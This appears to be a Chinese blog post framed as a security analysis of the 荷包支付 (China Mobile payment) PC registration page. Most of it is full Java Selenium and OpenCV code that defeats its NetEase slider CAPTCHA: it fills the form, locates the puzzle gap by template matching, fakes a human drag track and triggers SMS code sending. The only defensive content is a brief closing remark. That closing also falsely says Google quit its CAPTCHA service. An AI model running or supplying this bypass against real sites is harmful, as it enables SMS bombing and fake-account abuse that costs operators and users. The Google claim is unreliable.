【荷包支付-注册安全分析报告】

前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

暴力破解密码，造成用户信息泄露
短信盗刷的安全问题，影响业务及导致用户投诉
带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案，但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评，图形验证及交互验证方式的安全性到底如何？请看具体分析

一、荷包支付PC 注册入口

简介：荷包支付,是中国移动旗下的支付公司，中移电子商务有限公司（中移支付）是中国移动通信集团公司2011年应中国人民银行监管要求，委托湖南移动注册成立的全资子公司。公司于2011年12月获得第三方支付牌照，成为中国移动旗下唯一的支付公司，承担全国和包支付平台建设、产品研发及业务运营。

1. 注册引导页 在这里插入图片描述

2. 会员注页面

在这里插入图片描述

二、安全性分析报告：

荷包支付采用的是网易易盾的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、测试方法：

前端界面分析，这网易易盾的滑动验证码，网上存在不少的破解文章，没什么难度，这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分。

在这里插入图片描述

模拟器交互部分


public RetEntity send(WebDriver driver, String areaCode, String phone) {WebElement phoneElemet, moveElemet, nameElemet, bg;By moveBy, bgimg;String base64Str = null, moveStr = null;String name = "张三";Actions actions;try {driver.get(INDEX_URL);Thread.sleep(1000);// 输入手机号phoneElemet = ChromeDriverManager.waitElement(driver, By.id("MBL_NO"), 500);phoneElemet.clear();for (int i = 0; i < phone.length(); i++) {char c = phone.charAt(i);phoneElemet.sendKeys(c + "");phoneElemet.click();}Thread.sleep(2000);nameElemet = ChromeDriverManager.waitElement(driver, By.id("USER_NM"), 500);nameElemet.clear();for (int i = 0; i < name.length(); i++) {char c = name.charAt(i);nameElemet.sendKeys(c + "");nameElemet.click();}Thread.sleep(2000);// 获取滑动按钮moveBy = By.className("verify-move-block");moveElemet = ChromeDriverManager.waitElement(driver, moveBy, 400);if (moveElemet == null) {return null;} else {actions = new Actions(driver);actions.clickAndHold(moveElemet).perform();}Thread.sleep(2000);// 获取带阴影的背景图bgimg = By.xpath("//img[@class='backImg']");bg = ChromeDriverManager.waitElement(driver, bgimg, 400);base64Str = bg.getAttribute("src");System.out.println("bUrl=" + base64Str);if (base64Str == null) {return null;}byte[] bigBytes = (base64Str != null) ? GetImage.imgStrToByte(base64Str.substring(base64Str.indexOf(",") + 1)) : null;int bigLen = (bigBytes != null) ? bigBytes.length : 0;System.out.println("1. getPic bigLen=" + bigLen);// 获取小图WebElement smallElement = ChromeDriverManager.waitElement(driver, By.xpath("//img[@class='bock-backImg']"), 1);String smallBase64 = smallElement.getAttribute("src");byte[] smallBytes = (smallBase64 != null) ? GetImage.imgStrToByte(smallBase64.substring(smallBase64.indexOf(",") + 1)) : null;// 计算匹配到的位置String ckSum = GenChecksumUtil.genChecksum(bigBytes);String[] openRet = cv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "cmpay.com", 0);String openWidth = openRet != null ? openRet[0] : null;String openDistance = openRet != null ? openRet[1] : null;Double openDistanceD = (openDistance != null && openWidth != null) ? (Double.parseDouble(openDistance) - Double.parseDouble(openWidth)) * 280 / 310 : null;int distance = openDistanceD.intValue();System.out.println("getMoveDistance() distance=" + distance);if (distance == 0) {System.out.println("err distance=" + distance);return null;}// 滑动ActionMove.move(driver, moveElemet, distance);for (int i = 0; i < 10; i++) {WebElement msgElement = ChromeDriverManager.waitElement(driver, By.xpath("//span[@class='verify-tips suc-bg']"), 1);moveStr = (msgElement != null) ? msgElement.getText() : null;if (moveStr != null) {break;} else {Thread.sleep(100);}}RetEntity retEntity = new RetEntity();// 滑动结果if (moveStr != null && moveStr.contains("验证成功")) {WebElement smsElement = driver.findElement(By.id("getSmsCode"));smsElement.click();Thread.sleep(1000);String sendBack = smsElement.getText();System.out.println("moveStr=" + moveStr + " -> sendBack=" + sendBack);retEntity.setRet(0);retEntity.setMsg("成功");} else {retEntity.setRet(-1);retEntity.setMsg("失败");}return retEntity;} catch (Exception e) {System.out.println("send() phone=" + phone + ",e=" + e.toString());StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");System.out.println(er.toString());return null;}}

2. 距离识别


/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/private String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xSystem.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}

3. 轨道生成及移动算法

/*** 双轴轨道生成算法，主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(50);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 5) {Thread.sleep(5 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}

4. 图片比对结果测试样例：
在这里插入图片描述

四丶结语

荷包支付作为支付行业的翘楚，依托移动老大哥的资源，技术实力雄厚，人才济济，采用的是通俗的滑动验证产品，在一定程度上提高了用户体验，不过随着图形识别技术及机器学习能力的提升，所以在网上破解的文章和教学视频也是大量存在，并且经过验证的确有效，所以除了滑动验证方式，花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务，那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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